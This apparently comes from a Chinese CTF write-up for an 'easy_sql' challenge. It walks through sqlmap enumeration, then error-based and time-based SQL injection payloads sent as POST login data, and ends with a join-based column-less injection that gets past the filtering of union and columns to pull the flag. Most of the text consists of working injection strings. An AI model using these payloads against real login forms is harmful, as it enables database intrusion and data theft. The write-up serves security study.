easy_sql|Ciyaso
1.首先用sqlmap跑
得知了
库名security
继续跑发现了两个表users和flag
然后得知
users下有三个列id,password,username
flag下有两列,id和一个没有列名的列
2.然后对 url 进行post注入,发现可以使用报错注入
admin') AND (SELECT 2155 FROM (SELECT(SLEEP(5-(IF(ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS NCHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7365637572697479),1,1))>9,0,5)))))PtLg)-- uavL
处理后得到
uname=admin') AND EXTRACTVALUE(null,CONCAT(0x7e,(【代码操作】),0x7e))-- MazD&passwd=admin&Submit=%E7%99%BB%E5%BD%95
3.由于flag列中存在一个不存在列名的列,所以想到了无列名注入
经过多次注入试验发现了过滤了union和columns,输入了就会返回no,然后测试大小写,/**/,%0a等方式都无法绕过所以放弃了union无列名注入
uname=admin') AND EXTRACTVALUE(null,CONCAT(0x7e,((select * from(select 1,2,3 union select * from security)a)b),0x7e))-- MazD&passwd=admin&Submit=%E7%99%BB%E5%BD%95
然后尝试join无列名注入
输入:
uname=admin') AND EXTRACTVALUE(null,CONCAT(0x7e,(select*from (select * from flag as a join flag b using(id))c),0x7e))-- MazD&passwd=admin&Submit=%E7%99%BB%E5%BD%95
返回:
no
输入:
uname=admin') AND EXTRACTVALUE(null,CONCAT(0x7e,(select*from (select * from flag as a join flag b using(id))c),0x7e))-- MazD&passwd=admin&Submit=%E7%99%BB%E5%BD%95
返回:
提交后发现不对白高兴一场,然后重新检查发现返回的列名是【假flag】
访问:
select 【假flag】 from flag
uname=' and extractValue(1,(select `43e6b653-965f-491b-a769-f53db0fa7214` from flag)) and '&passwd=admin&Submit=%E7%99%BB%E5%BD%95
即可获得真正的flag